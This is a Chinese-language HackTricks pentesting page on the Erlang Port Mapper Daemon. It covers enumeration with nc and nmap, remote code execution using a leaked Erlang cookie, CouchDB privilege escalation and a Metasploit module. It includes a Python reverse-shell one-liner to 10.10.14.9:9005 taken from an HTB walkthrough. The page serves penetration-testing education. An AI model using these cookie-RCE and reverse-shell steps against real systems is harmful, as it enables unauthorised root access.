hacktricks/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md

109 lines
5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<details>
<summary><strong>从零到英雄学习AWS黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
# 基本信息
erlang端口映射守护进程用于协调分布式erlang实例。它的工作是**跟踪哪个节点名称监听哪个地址**。因此epmd将符号节点名称映射到机器地址。
**默认端口**4369
```
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
```
这在RabbitMQ和CouchDB安装中默认使用。
# 枚举
## 手动
```bash
echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369
#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses
```
## 自动
```bash
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
| epmd-info:
| epmd_port: 4369
| nodes:
| bigcouch: 11502
| freeswitch: 8031
| ecallmgr: 11501
| kazoo_apps: 11500
|_ kazoo-rabbitmq: 25672
```
# Erlang Cookie RCE
## 远程连接
如果您能够**泄露认证 cookie**,您将能够在主机上执行代码。通常,这个 cookie 位于 `~/.erlang.cookie`,并且在 erlang 首次启动时生成。如果没有被修改或手动设置它是一个长度为20个字符的随机字符串 \[A:Z]。
```bash
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
Eshell V8.1 (abort with ^G)
At last, we can start an erlang shell on the remote system.
(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"
```
更多信息请见 [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)
作者还分享了一个暴力破解cookie的程序
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
## 本地连接
在这种情况下我们将利用CouchDB在本地提升权限
```bash
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
```
示例取自[https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
您可以使用 **Canape HTB 机器来** **练习** 如何 **利用这个漏洞**
## Metasploit
```bash
#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce
```
# Shodan
* `port:4369 "at port"`
<details>
<summary><strong>从零到英雄学习AWS黑客攻击请查看</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您希望在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>